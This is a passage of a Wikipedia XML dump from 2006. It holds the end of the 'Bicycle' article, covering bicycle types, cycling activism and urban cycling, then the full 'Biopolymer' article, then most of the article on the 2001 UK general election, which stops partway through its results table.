The governing body of international cycle sport, the Union Cycliste International, decided in the late 1990s to create additional rules  restricting the design of racing bicycles. These rules met with considerable controversy and to some extent arrested the development of the racing bicycle. Their stated motive was so that developing countries could compete in international competitions without requiring large equipment budgets, and to re-focus attention on the athlete rather than the bicyle. For example. monocoque frames, such as used by Chris Boardman to win the Gold medal in 1992 Olympic individual pursuit event in Barcelona, were no longer permitted.

===Modal share: cycle use in modern cities===
{{main|utility cycling}}

Cyclists and motorists make different demands on road design which may lead to conflicts both in politics and on the streets.  Some jurisdictions give priority to motorised traffic, for example setting up extensive one-way street systems, free-right turns, high capacity roundabouts, and slip roads.  Other cities may apply active ''traffic restraint'' measures to limit the impact of motorised transport.  In the former cases, cycling has tended to decline while in the latter it has tended to be maintained.  Occasionally, extreme measures against cycling may occur.  In [[Shanghai]], a city where bicycles were once the dominant mode of transportation, bicycle travel on city roads was actually banned temporarily in December 2003.

In areas in which cycling is popular and encouraged, cycle-parking facilities using [[bicycle rack]]s, lockable ''mini-garages'', and patrolled cycle parks are used to reduce theft.  Local governments also promote cycling by permitting the carriage of bicycles on public transport or by providing external attachment devices on public transport vehicles.  Conversely, an absence of secure cycle-parking is a recurring complaint by cyclists from cities with low modal share of cycling.

Extensive [[bicycle path]] systems may be found in some cities.  Such dedicated paths often have to be shared with inline skaters, scooters, skateboarders, and pedestrians. Segregating bicycle and automobile traffic in cities has met with mixed success, both in terms of safety and bicycle promotion.  At some point the two streams of traffic inevitably intersect, often in a haphazard and congested fashion.  Studies have demonstrated that, due to the high incidence of accidents at these sites, such segregated schemes can actually ''increase'' the number of car-bike collisions.&lt;sup&gt;[[#Notes|7]]&lt;/sup&gt;

===Cycling activism===
Cyclists form associations, both for specific interests (trails development, road maintenance, urban design, racing clubs, touring clubs, etc.) and for more global goals ([[energy conservation]], pollution reduction, promotion of fitness).  Two broad themes run in bicycle activism:  one more overtly political with roots in the [[environmental movement]]; the other drawing on the traditions of the established bicycle lobby.

Such groups promote the bicycle as an alternative mode of transport and emphasize the potential for energy and resource conservation and health benefits gained from cycling versus automobile use. Activists in both camps  also argue for improved local and inter-city rail services and other methods of mass transportation, and also for greater provision for cycle carriage on such services. Many cities also have [[community bicycle program]]s that promote cycling, especially as a means of inner-city transport.

Controversially, some bicycle activists (including some traffic management advisors) seek the construction of [[segregated cycle facilities]] for journeys of all lengths. Other activists, especially those from the more established tradition, view the safety, practicality, and intent of many [[segregated cycle facilities]] with suspicion. They favour a more holistic approach based on [[Traffic psychology#Accident prevention and improvement of traffic safety|the 4 'E's]]; ''education'' (of everyone involved), ''encouragement'' (to apply the education), ''enforcement'' (to protect the rights of others), and ''engineering'' (to facilitate travel while respecting every person's equal right to do so). In some cases this opposition has a more ideological basis: some members of the [[Vehicular cycling|Vehicular Cycling movement]] oppose segregated public facilities, such as on-street [[segregated cycle facilities|bike lanes]], on principle. Some groups offer [[Vehicular cycling#VC Education|training courses]] to help cyclists integrate themselves with other traffic. This is part of the ongoing [[cycle path debate]].

A recent focus, especially for European bicycle activists, has been opposition to compulsory [[bicycle helmet]] legislation. They cite evidence suggesting that compulsory helmet laws and helmet promotion have been associated with significant reductions in bicycle use and with increases in the risk of death or injury to individual cyclists. As a consequence, activists from both sides have put aside their differences in order to fight the helmet lobby.

[[Critical Mass]] is a worldwide activist movement of mass bicycle protest rides. It incorporates the themes of increasing the road- and mind-share given to bicycle transport, and has drawn support from environmentally minded campaigners and other schools of political thought.  According to participants in Critical Mass, &quot;We aren't blocking traffic, we ''are'' traffic!&quot; However, their particular forms of protest has drawn criticism from the broader streams of activism.



==Types of bicycle==
There are many different types of bicycle. See also [[:Category:Cycle types]].

====By function====
* ''[[Mountain bicycle]]s'' are designed for off-road cycling, and include other sub-types of off-road bicycles such as Cross Country (i.e.&quot;XC&quot;), Downhill , and to a lesser extent Freeride bicycles. All mountain bicycles feature sturdy, highly durable frames and wheels, wide-gauge treaded tires, and cross-wise handlebars to help the rider resist sudden jolts. Some mountain bicycles feature various types of suspension systems (e.g. coiled spring, air or gas shock), and hydraulic or mechanical disc brakes. Mountain bicycle gearing is very wide-ranging, from very low ratios to high ratios, typicaly with 21 to 30 gears.
* ''[[Racing bicycle]]s'' are designed for speed, and include road, time trial, and track bicycles. They have lightweight frames and components with minimal accessories, ''dropped'' handlebars to allow for an aerodynamic riding position, narrow high-pressure tires for minimal rolling resistance and multiple gears. Racing bicycles have a relatively narrow gear range, and typically varies from medium to very high ratios, distributed across 18, 20, 27 or 30 gears. The narrow gear ratios allow racers to fine tune their gear selection so as to produce an efficient pedalling cadence.
** ''[[Time trial bicycle]]s'' are similar to road bicycles but are differentiated by a more aggressive frame geometry that throws the rider into a more compact (i.e &quot;aero&quot;) riding position. They also feature aerodynamic frames, wheels, and handlebars.
** ''[[Track bicycle]]s'', intended for indoor racing circuits, are exceptionally simplified to reduce weight. They have a single gear mounted to a fixed hub (i.e. no freewheel), no brakes, and are minimally adorned with other components that would otherwise be typical for a racing bicycle.
* Messenger bikes, as ridden by some riders especially in US, resemble track bikes, having fixed gears and no brakes, but are riden by messengers hustling packages for law firms, advertising firms, etc.  
[[Image:Bike refelector safety flash.JPG|thumb|A modern ''touring bicycle'', with accessories and baggage]]

* ''[[Randonneur]]'' or ''Audax bicycles'' are designed for [[randonnée]]s or brevet rides, and fall in between racing bicycles and those intended for touring.
* ''[[Touring bicycle]]s'' are designed for [[bicycle touring]] and long journeys. They are durable and comfortable, capable of transporting baggage, and may feature any type of gearing system.
* ''[[Utility bicycle]]s'' are designed for commuting, shopping and running errands. They employ middle or light weight frames and tires, internal [[hub gear]]ing, and a variety of helpful accessories.

====By number of riders====
* A ''[[tandem bicycle|tandem]]'' or ''twin'' has two riders.
* A ''triplet'' has three riders; a ''quadruplet'' has four.
* The largest ''multi-bike'' had 40 riders.

In most of these types the riders ride one behind the other. Exceptions are &quot;The Companion&quot;, or &quot;sociable,&quot; a side-by-side two-person bike (that converted to a single-rider) built by the Punnett Cycle Mfg. Co. in Rochester, N. Y. in the 1890s. Another bicycle rented to tourists in [[Berlin]] carries eight people seated in a circle.

====By general construction====
* A ''[[penny-farthing]]'' or ''ordinary'' has one high wheel directly driven by the pedals and one small wheel.
* On an ''[[upright bicycle]]'' the rider sits astride the saddle.  This is the most common type.
* On a ''[[recumbent bicycle]]'' the rider reclines or lies supine.
* A ''Pedersen'' bicycle has a bridge truss frame.
* A ''[[folding bicycle]]'' can be quickly folded for easy carrying, for example on public transport.
* A ''[[Moulton Bicycle]]'' has a traditional seating position, and utilises small diameter, high pressure tires and front and rear suspension.
* An ''[[exercise bicycle]]'' remains stationary; it is used for exercise rather than propulsion.

====By gearing====
* ''[[hub gear|Internal hub gearing]]'' is most common in European utility bicycles, usually ranging from [[three-speed bicycle]]s to five and seven speed options. But hub gears with eight and fourteen speeds are available as well.
* ''[[Shaft-driven bicycle]]s'' use a [[driveshaft]] rather than a chain to power the rear wheel.  These are often used as commuter bikes because they eliminate inconveniences associated with chains and pant-legs, but they are less efficient than chain-driven bicycles. Shaft- driven bicycles usually employ internal hub gearing.
* ''[[Derailleur gears]]'', featured on most racing and touring bicycles, offering from 5 to 30 speeds
* ''[[Single-speed bicycle]]s'' and ''[[Fixed-gear bicycle]]s'' have only one gear, and include all [[BMX]] bikes, children's bikes, crowded city messenger bikes, and many others. The fixed gear has no [[freewheel]] mechanism, so whenever the bike is in motion the pedals continue to spin.  An advantage of this is the pedals can also be used to slow down.
* ''[[Retro-Direct]] bicycles'' have two [[sprockets]] on the rear wheel.  By backpedaling, the secondary, usually lower, gear is engaged.

[[Image:Velo acrobatique 2.jpg|thumb|[[Flatland_BMX|Flatland]] rider on a BMX bike]]
====By sport====
* ''[[Track bicycle]]s'' are ultra-simple, lightweight [[Fixed-gear bicycle|fixed-gear]] bikes with no brakes, designed for [[track cycling]] on purpose-built cycle tracks, often in [[velodrome]]s.
* ''[[Time trial bicycle]]s'' are similar to road bicycles with an extremely aerodynamic design for use in a cycling [[time trial]].
* ''[[Cyclo-cross]] bicycles'' are lightweight enough to be carried over obstacles, and robust enough to be cycled through mud.
* ''Down-hill racers'' are a specialized type of mountain bike with a very strong frame, altered geometry, and long travel suspension. They are designed for use only on downhill tracks.
* ''[[BMX]]'' (bicycle motocross) bicycles have small wheels and are used for [[BMX racing]], as well as for [[wheelie]]s, jumps, and other acrobatics.
* ''[[Triathlon]]'' bicycles have seat posts that are closer to vertical than the seat posts on road racing bicycles. This concentrates the effort of cycling in the [[quadriceps]] muscles, sparing the other large muscles of the leg for the running segment of the race. Triathlon bicycles also have specialized handlebars known as [[triathlon bars]] or aero bars.

====By means of propulsion====
* A ''pedal cycle'' is driven by pedals.
* A ''hand-cranked bicycle'' is driven by a hand crank.
* A ''rowing bicycle'' is driven by a rowing action using both arms and legs.
* A ''[[Motorized bicycle]]'' provides motor assistance.
* A ''[[moped]]'' propels the rider with a motor, but includes bicycle pedals for human propulsion.
* ''Shaft drive'' bicycles connect the pedals to the rear hub with a shaft instead of a chain.
* a &quot;Flywheel&quot; uses stored kinetic energy.

====Other types====
* ''[[Hybrid bicycle]]s'' are a compromise between the mountain and racing style bicycles which replaced European-style ''utility bikes'' in North America in the early 1990s. They have a light frame, medium gauge wheels, and derailleur gearing, and feature straight or curved-back, ''touring'' handlebars for more upright riding.
* ''[[Cruiser bicycle]]s''  are designed for comfort, with curved back handlebars, padded seats, and ''balloon'' tires.  Cruisers typically have minimal gearing and are often available for rental at beaches and parks which feature flat terrain.
* ''[[Freight bicycle]]s'' are designed for transporting large or heavy loads.
* ''[[Cycle rickshaw]]s'' (also called ''pedicabs'' or ''trishaws'') are used to transport passengers for hire.
* ''[[Velomobile]]s'' or ''bicycle cars'' provide enclosed pedal-powered transportation.
* ''[[Clown bicycle]]s are designed for comedic effect or stunt riding. Some types of clown bicycles are:
** ''bucking bike'' (with one or more eccentric wheels) 
**''[[tall bike]]'' (often called an ''upside down bike'', constructed so that the pedals, seat and handlebars are all higher than normal) -- other types tall bikes are made by welding two more more bicycle frames on top of each other, and running additional chains from the pedals to the rear wheel.
**''Come-apart bike'', (essentially a unicycle, plus a set of handlebars attached to forks and a wheel).
:Clown bikes are also built that are directly geared, with no freewheeling, so that they may be pedaled backwards. Some are built very small but are otherwise normal.

* [[Art bike]]s: Some bikes are built so that the frame appears to be made of junk or found objects: 
**[[Bongo the Clown]] built several ridable parade bikes which were as much kinetic sculptures as transport.
** The [[Dekochari]] is a form of [[Art bike]] indigenous to [[Japan]]

* A ''[[unicycle]]'' is not a bicycle, as it has only one wheel, but it is related.

==Standards==
A number of formal and industry standards exist for bicycle components, to help make spare parts exchangeable:

* [[ISO 5775]] Bicycle tire and rim designations
* ISO 8090 Cycles &amp;mdash; Terminology (same as BS 6102-4)
* ISO 4210 Cycles &amp;mdash; Safety requirements for bicycles

==See also==
[[Image:Bicycles snow Graz 2005 original.jpg|thumb|250px|Bicycles in the snow]]
* [[Bicycle gearing]]
* [[Bicycle lock]]
* [[Bicycle messenger]]
* [[Bicycle safety]]
* [[Bicycling terminology]]
* [[Clothing-optional bike rides]]
* [[Clown bicycle]] 
* [[Countersteering]]
* [[Cycling]]
* [[Cycling hand signals]]
* [[Fietsvierdaagse]]
* [[French bicycle industry]]
* [[List of bicycle manufacturers]]
* [[List of environment topics]]
* [[List of important cycling events]]
* [[Mountain biking]]
* [[Quadricycle]]
* [[Raleigh Chopper]]
* [[Segregated cycle facilities]]
* [[Safety standards]]
* [[Timeline of transportation technology]]
* [[Tricycle]]
* [[Utility cycling]]
* [[Vehicular cycling]]

==Notes==
*1 [[Scientific American]], March 1973: &quot;Bicycle Technology&quot;, by S.S.Wilson.
*2 [http://www.jhu.edu/~gazette/1999/aug3099/30pedal.html &quot;Johns Hopkins Gazette&quot;], Aug.30, 1999
*3 &quot;The Stability of the Bicycle&quot;, David Jones, &quot;Physics Today&quot;, April 1970: pp.34-40 (external link, below)
*4 Townsend (external link, below)
*5 [[The Economist]], Feb.15, 2003
*6 &quot;Cities for Cyclists&quot; (external link, below)
*7 &quot;Bicycling Life&quot;  (external link, below)
*8 [[Effective Cycling|John Forester's Effective Cycling]]
*9 See Chapter 9 of &quot;Bicycling Science&quot; (Reference, below) for details of transmission efficiency.

==References==
{{wikibookspar||Bicycle repair}}
* ''All About Bicycling'', Rand McNally.
* ''The New Columbia Encyclopedia''
* Richard Ballantine, ''Richard's Bicycle Book'', Pan, 1975.
* Caunter C. F. ''The History and Development of Cycles'' Science Museum London 1972.
* Daniel Kirshner.  ''Some nonexplanations of bicycle stability''.  American Journal of Physics, 48(1), 1980.  The abstract reads &quot;In this paper we attempt to verify a nongyroscopic theory of bicycle stability, and fail&quot;.
* David B. Perry, ''Bike Cult: the Ultimate Guide to Human-powered Vehicles'', Four Walls Eight Windows, 1995.
* Roni Sarig, ''The Everything Bicycle Book'', Adams Media Corporation, 1997
* {{cite web | title=Randonneurs USA | work=PBP: Paris-Brest-Paris | url=http://www.rusa.org/pbp.html | accessdate=March 31 | accessyear=2005}}
*US Department of Transportation, Federal Highway Administration. &quot;America's Highways 1776-1976&quot;, pp. 42-43. Washington, DC, US Government Printing Office.
* David Gordon Wilson, ''Bicycling Science'', MIT press, ISBN 0-262-73154-1
* David V. Herlihy, ''Bicycle: The History'', Yale University Press, 2004
* Frank Berto, ''The Dancing Chain: History and Development of the Derailleur Bicycle'', San Francisco: Van der Plas Publications, 2005, ISBN 1-892495-41-4.
* ''The Data Book: 100 Years of Bicycle Component and Accessory Design'', San Francisco: Van der Plas Publications, 2005, ISBN 1-892495-01-5.

==External links==
{{commonscat|Bicycle}}
{{portalpar|Cycling}}
* The World's Bicycle Conference:  [http://www.velomondial.net Velo Mondial]
* BikeForums.net (2005). [http://www.bikeforums.net/ BikeForums]. Retrieved March 30, 2005.
* [http://sheldonbrown.com/ Brown, Sheldon] (2005). Extensive online [http://sheldonbrown.com/glossary.html bicycle glossary].
* eHow, Inc. (2005). [http://www.ehow.com/how_228_make-bike-fit.html  How to Make Your Bike the Perfect Fit]. Retrieved March 30, 2005.
* [http://www.ecf.com/ European Cyclists' Federation]
* Exploratorium (2004). [http://www.exploratorium.edu/cycling/humanpower1.html Science of Cycling: Human Power]. Retrieved March 30, 2005.
* Freerideforums.net (2006).[http://www.freerideforums.com/ Freerideforums]
* Hudson, William (2003). [http://www.jimlangley.net/ride/bicyclehistorywh.html Myths and Milestones in Bicycle Evolution]. Retrieved March 30, 2005.
* Jelsoft Enterprises Ltd. (2005). [http://www.cyclingforum.org/forums/ CyclingForum.org]. Retrieved March 30, 2005.
* Jones, David E. H. (1970). [http://ist-socrates.berkeley.edu/~fajans/Teaching/MoreBikeFiles/JonesBikeBW.pdf The Stability of the Bicycle]. Scanned in copy for download for personal use.
* Townsend, Andy (2005). [http://www.rider-ed.com/tips/motorcyclestability.htm  Motorcycle Stability and Steering]. Rider Education of New Jersey, Inc. Retrieved March 30, 2005.

{{featured article}}
[[Category:Consumer goods]]
[[Category:Cycling]]
[[Category:Cycle types]]
[[Category:Human powered vehicles]]
[[Category:National Toy Hall of Fame]]

{{link FA|ru}}
{{link FA|uk}}
{{link FA|da}}

[[bg:Велосипед]]
[[be:Ровар]]
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[[no:Sykkel]]
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[[zh:腳踏車]]</text>
    </revision>
  </page>
  <page>
    <title>Biopolymer</title>
    <id>3974</id>
    <revision>
      <id>42050702</id>
      <timestamp>2006-03-03T13:30:54Z</timestamp>
      <contributor>
        <ip>158.109.57.111</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Biopolymers''' are a special class of [[polymer]]s found in nature.  
[[Starch]], [[protein]]s and [[peptide]]s, [[DNA]], and [[RNA]] are all examples of biopolymers, in which the monomer units, respectively, are [[sugar]]s, [[amino acid]]s, and [[nucleic acid]]s. 

== Biopolymers vs. Polymers ==
A major but defining difference between [[polymers]] and biopolymers can be found in their structures. Biopolymers inherently have a well defined structure: 
The exact chemical composition and the sequence in which these units are arranged is called the polymer's [[primary structure]]. Many biopolymers spontaneously &quot;[[protein folding|fold]]&quot; into characteristic shapes (also known as [[secondary structure]] and [[tertiary structure]], which determine their biological functions and depend in a complicated way on their primary structures. [[Structural biology]] is the study of the shapes of biopolymers.
In contrast most synthetic polymers have much simpler and more random or statistic structures.
Another, yet very important, difference is the lack of a molecular mass distribution in most biopolymers. As their synthesis is controlled by a template directed process in most in vivo systems all biopolymers of a type (say one specific protein) are all alike: they all contain the same sequence and number of monomers and thus all have the same mass. This phenomenon is called [[monodispersity]] in contrast to the [[polydispersity]] encountered in polymers. As a result biopolymers have a [[polydispersity index]] of 1.

== Naming Conventions ==
=== Proteins ===
The convention for a protein is to list its constituent amino acid residues as they occur from the amino terminus to the carboxylic acid terminus. 
=== Nucleic Acids ===
The convention for a nucleic acid sequence is to list the [[nucleotide]]s as they occur from the 5' end to the 3' end of the [[polymer chain]], where 5' and 3' refer to the numbering of carbons around the ribose ring which participate in forming the phosphate diester linkages of the chain. Such a sequence is called the primary structure of the biopolymer.
=== Sugars ===
(information missing)

== Structural Characterization ==
There are a number of [[biophysics|biophysical]] techniques for determining sequence information. Protein sequence can be determined by [[Edman degradation]], in which the N-terminal residues are hydrolyzed from the chain one at a time, derivatized, and then identified. Mass [[spectrometer]] techniques can also be used. Nucleic acid sequence can be determined using gel [[electrophoresis]] and capillary electrophoresis. Lastly, mechanical properties of these biopolymers can often be measured using [[optical tweezers]] or [[atomic force microscopy]].

== Biopolymers as materials ==
Some biopolymers- such as [[polylactic acid]] and [[poly-3-hydroxybutyrate]] can be used as plastics, replacing the need for [[polystyrene]] or [[polyethylene]] based plastics.

==See also==
* [[condensation polymer]]s
* [[DNA sequence]]
* [[biomaterial]]s
* [[Melanin]]
* [[Sequencing]]
* [[Worm-like chain]]

[[Category:Biochemistry]]
[[Category:Molecular biology]]
[[Category:Molecular genetics]]
[[Category:Biotechnology products]]
[[cs:Biologická makromolekula]]
[[de:Biopolymer]]
[[es:Biomolécula]]
[[id:Biopolimer]]
[[ja:生体高分子]]
[[ms:Biopolimer]]
[[pl:Biopolimer]]
[[pt:Biomolécula]]</text>
    </revision>
  </page>
  <page>
    <title>United Kingdom general election, 2001</title>
    <id>3975</id>
    <revision>
      <id>41416337</id>
      <timestamp>2006-02-27T04:24:13Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <minor />
      <comment>/* Results */ dab</comment>
      <text xml:space="preserve">{| id=toc style=&quot;float:right; margin-left:1em&quot;
|[[United Kingdom general election, 1997|1997 election]]
|-
|'''2001 election'''
|-
|[[United Kingdom general election, 2005|2005 election]]
|}
{{Politics of the United Kingdom}}
The '''UK general election, 2001''' was held on [[7 June]] [[2001]] and was dubbed &quot;the quiet landslide&quot; by the media. After a landslide victory of the [[The Labour Party (UK)|Labour]] Party in the previous [[United Kingdom general election, 1997|1997 elections]], they now had another major victory by managing to maintain their position. In fact, [[Tony Blair]] was the first Labour prime minister to win a full second consecutive term in office. Outside [[Northern Ireland]] (which mostly has different parties and a different electoral landscape from the rest of the [[United Kingdom|UK]] although a few UK-wide parties stand with minimal success), 620 out of 641 seats remained with the same party as they had been in 1997. The [[Conservative Party (UK)|Conservatives]] netted a gain of only 1 seat after their crushing defeat of 1997 (gaining a few seats from Labour, but losing to the [[Liberal Democrats (UK)|Liberal Democrats]]), but the Liberal Democrats made a gain of 6 more seats from their already historical high of 1997. With 52 seats, the Liberal Democrats were well established as the third party of Britain and had their best result since the [[1920s]].

The elections were also marked by apathy from the voting public, turnout being only 59%, the lowest since [[1918]].  Throughout the election the Labour party had maintained a significant lead in the opinion polls and the result was deemed to be so certain that some [[bookmaker]]s paid out for a Labour majority before the election day.

Labour won an majority of 167 overall (previously 179) and 247 over the Conservatives (previously 254).

In [[Northern Ireland]], the election was far more dramatic and marked a move by [[Unionists (Ireland)|unionists]] away from the [[Good Friday Agreement]], with the moderate unionist and nationalist parties ([[Ulster Unionist Party|UUP]] and [[Social Democratic and Labour Party|SDLP]]) losing to the more extreme parties ([[Democratic Unionist Party|DUP]] and [[Sinn Féin]]). It also saw a tightening of the parties as the small [[UK Unionist Party]] lost its only seat.

The election had been expected in May, to coincide with local elections, but both were postponed because of rural movement restrictions imposed in response to a [[2001 UK foot and mouth crisis|foot and mouth outbreak]].  One of the more noted events of a quiet campaign was when a countryside protester Craig Evans threw an egg at [[Deputy Prime Minister]] [[John Prescott]] in [[Rhyl]]; Prescott then grabbed Evans and punched him, in front of television cameras.
 

==Results==
{{Template:Election Summary Begin|title = UK General Election 2001}}
{{Template:Election Summary Party|
  |party      = Labour Party (UK)
  |seats      = 412
  |gain       = 2
  |loss       = 8
  |net        = &amp;minus;6
  |votes      = 10,724,953
  |votes %          = 40.7
  |seats % = 62.5
  |plus/minus = &amp;minus;2.5%
}}
{{Template:Election Summary Party|
  |party      = Conservative Party (UK)
  |seats      = 166
  |gain       = 9
  |loss       = 8
  |net        = +1
  |votes      = 8,357,615
  |votes %          = 31.7
  |seats % = 25.2
  |plus/minus = +1.0%
}}
{{Template:Election Summary Party|
  |party      = Liberal Democrats (UK)
  |seats      = 52
  |gain       = 8
  |loss       = 2
  |net        = +6
  |votes      = 4,814,321
  |votes %          = 18.3
  |seats % = 7.9
  |plus/minus = +1.5%
}}
{{Template:Election Summary Party|
  |party      = Scottish National Party
  |seats      = 5
  |gain       = 0
  |loss       = 1
  |net        = &amp;minus;1
  |votes      = 464,314
  |votes %          = 1.8
  |seats % = 0.8
  |plus/minus = &amp;minus;0.2%
}}
{{Template:Election Summary Party|
  |party      = United Kingdom Independence Party
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 390,563
  |votes %          = 1.5
  |seats % = 0.0
  |plus/minus = 1.2%
}}
{{Template:Election Summary Party|
  |party      = Ulster Unionist Party
  |seats      = 6
  |gain       = 1
  |loss       = 5
  |net        = &amp;minus;4
  |votes      = 216,839
  |votes %          = 0.8
  |seats % = 0.9
  |plus/minus = 0.0%
}}
{{Template:Election Summary Party|
  |party      = Plaid Cymru
  |seats      = 4
  |gain       = 1
  |loss       = 1
  |net        = 0
  |votes      = 195,893
  |votes %          = 0.7
  |seats % = 0.6
  |plus/minus = +0.2%
}}
{{Template:Election Summary Party|
  |party      = Democratic Unionist Party
  |seats      = 5
  |gain       = 3
  |loss       = 0
  |net        = +3
  |votes      = 181,999
  |votes %          = 0.7
  |seats % = 0.8
  |plus/minus = +0.4%
}}
{{Template:Election Summary Party|
  |party      = Sinn Féin
  |seats      = 4
  |gain       = 2
  |loss       = 0
  |net        = +2
  |votes      = 175,933
  |votes %          = 0.7
  |seats % = 0.6
  |plus/minus = +0.3%
}}
{{Template:Election Summary Party|
  |party      = Social Democratic and Labour Party
  |seats      = 3
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 169,865
  |votes %          = 0.6
  |seats % = 0.5
  |plus/minus = 0.0%
}}
{{Template:Election Summary Party|
  |party      = Green Party of England and Wales
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 166,477
  |votes %          = 0.6
  |seats % = 0.0
  |plus/minus = +0.3%
}}
{{Template:Election Summary Party|
  |party      = Independent (politician)
  |seats      = 0
  |gain       = 0
  |loss       = 1
  |net        = &amp;minus;1
  |votes      = 97,070
  |votes %          = 0.4
  |seats % = 0.0
  |plus/minus = +0.3%
}}
{{Template:Election Summary Party|
  |party      = Scottish Socialist Party
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 72,516
  |votes %          = 0.3
  |seats % = 0.0
  |plus/minus = ''N/A''
}}
{{Template:Election Summary Party|
  |party      = Socialist Alliance (England)
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 57,553
  |votes %          = 0.2
  |seats % = 0.0
  |plus/minus = ''N/A''
}}
{{Template:Election Summary Party|
  |party      = Socialist Labour Party (UK)
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 57,288
  |votes %          = 0.2
  |seats % = 0.0
  |plus/minus = 0.0%
}}
{{Template:Election Summary Party|
  |party      = British National Party
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 47,129
  |votes %          = 0.2
  |seats % = 0.0
  |plus/minus = +0.1%
}}
{{Template:Election Summary Party|
  |party      = Alliance Party of Northern Ireland
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 28,999
  |votes %          = 0.1
  |seats % = 0.0
  |plus/minus = &amp;minus;0.1%
}}
{{Template:Election Summary Party|
  |party      = Independent Kidderminster Hospital and Health Concern
  |seats      = 1
  |gain       = 1
  |loss       = 0
  |net        = +1
  |votes      = 28,487
  |votes %          = 0.1
  |seats % = 0.2
  |plus/minus = ''N/A''
}}
{{Template:Election Summary Party|
  |party      = Liberal Party (UK, 1989)
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 13,685
  |votes %          = 0.1
  |seats % = 0.0
  |plus/minus = 0.0%
}}
{{Template:Election Summary Party|
  |party      = UK Unionist Party
  |seats      = 0
  |gain       = 0
  |loss       = 1
  |net        = &amp;minus;1
  |votes      = 13,509
  |votes %          = 0.1
  |seats % = 0.0
  |plus/minus = +0.1%
}}
{{Template:Election Summary Party|
  |party      = Prolife Alliance
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 9,453
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = &amp;minus;0.1%
}}
{{Template:Election Summary Party|
  |party      = Legalise Cannabis Alliance
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 8,677
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = ''N/A''
}}
{{Template:Election Summary Party|
  |party      = People's Justice Party (UK)
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 7,443
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = ''N/A''
}}
{{Template:Election Summary Party|
  |party      = Official Monster Raving Loony Party
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 6,655
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = 0.0%
}}
{{Template:Election Summary Party|
  |party      = Progressive Unionist Party
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 4,781
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = 0.0%
}}
{{Template:Election Summary Party|
  |party      = Mebyon Kernow
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 3,199
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = 0.0%
}}
{{Template:Election Summary Party|
  |party      = Northern Ireland Women's Coalition
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 2,968
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = 0.0%
}}
{{Template:Election Summary Party|
  |party      = Scottish Unionist Party
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 2,728
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = ''N/A''
}}
{{Template:Election Summary Party|
  |party      = Rock 'n' Roll Loony Party
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 2,634
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = ''N/A''
}}
{{Template:Election Summary Party|
  |party      = National Front (UK)
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 2,484
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = 0.0%
}}
{{Template:Election Summary Party|
  |party      = Workers Party (Ireland)
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 2,352
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = 0.0%
}}
{{Template:Election Summary|
  |party      = [[Neath Port Talbot Ratepayers Association|Neath Port Talbot Ratepayers]]
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 1,960
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = ''N/A''
}}
{{Template:Election Summary Party|
  |party      = Northern Ireland Unionist Party
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 1,794
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = ''N/A''
}}
{{Template:Election Summary Party|
  |party      = Socialist Party (England and Wales)
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 1,454
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = 0.0%
}}
{{Template:Election Summary|
  |party      = [[Reform 2000 Party|Reform 2000]]
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 1,418
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = ''N/A''
}}
{{Template:Election Summary|
  |party      = [[Isle of Wight Party|Isle of Wight]]
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 1,164
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = ''N/A''
}}
{{Template:Election Summary|
  |party      = [[Muslim Party|Muslim]]
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 1,150
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = ''N/A''
}}
{{Template:Election Summary Party|
  |party      = Communist Party of Britain
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 1,003
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = 0.0%
}}
{{Template:Election Summary|
  |party      = [[New Britain Party|New Britain]]
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 888
